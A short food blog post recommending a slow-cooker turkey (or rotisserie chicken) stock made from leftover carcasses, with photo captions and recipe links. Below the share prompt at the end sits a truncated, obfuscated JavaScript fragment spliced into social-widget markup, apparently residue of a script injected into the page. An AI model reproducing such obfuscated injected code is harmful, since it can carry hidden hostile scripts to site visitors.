Happy day after Thanksgiving!  I hope your holiday was a safe, delicious and wonderful one.

Last year I received some terrific feedback on a recipe I posted after Thanksgiving Day for “Slow-Cooker Turkey Stock”.  I was so delighted by the ease and flavor of this recipe, that I decided I would never make another turkey stock any other way.

9 - Slow Cooker Turkey Stock - Photo by Lori Florio (My Slice of The Apple)

This recipe also proved to be reliable throughout the rest of the year:  take the carcasses of rotisserie chickens to make a deep and rich stock overnight, and you’ll have a homemade stock you can rely on time and time again.  (I usually make the chicken stock using 2 carcasses at a time – an NO, I don’t go through 2 rotisserie chicken at a time, I just thrown the carcass of one into the freezer and wait until I have another carcass to add to it!)  Add in some onions, celery, and carrots, cover with water, and set the slow-cooker on low.

This is a fool-proof recipe.  Sit back a bit and enjoy the ease and the taste.  After all of those hours of cooking these past few days, you deserve a break.  Take one!

This recipe will yield 2 1/2 to 3 quarts turkey stock.

1 - Slow Cooker Turkey Stock - Photo by Lori Florio (My Slice of The Apple)

Click here to review last year’s original post, and click here for the printable recipe.

Then fill up your slow-cooker, and enjoy some well-deserved down time!

Please follow and like us:
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOy/" width="180" send="false" showfaces="false" action="like" data-share="true"data-layout="button" >
Read More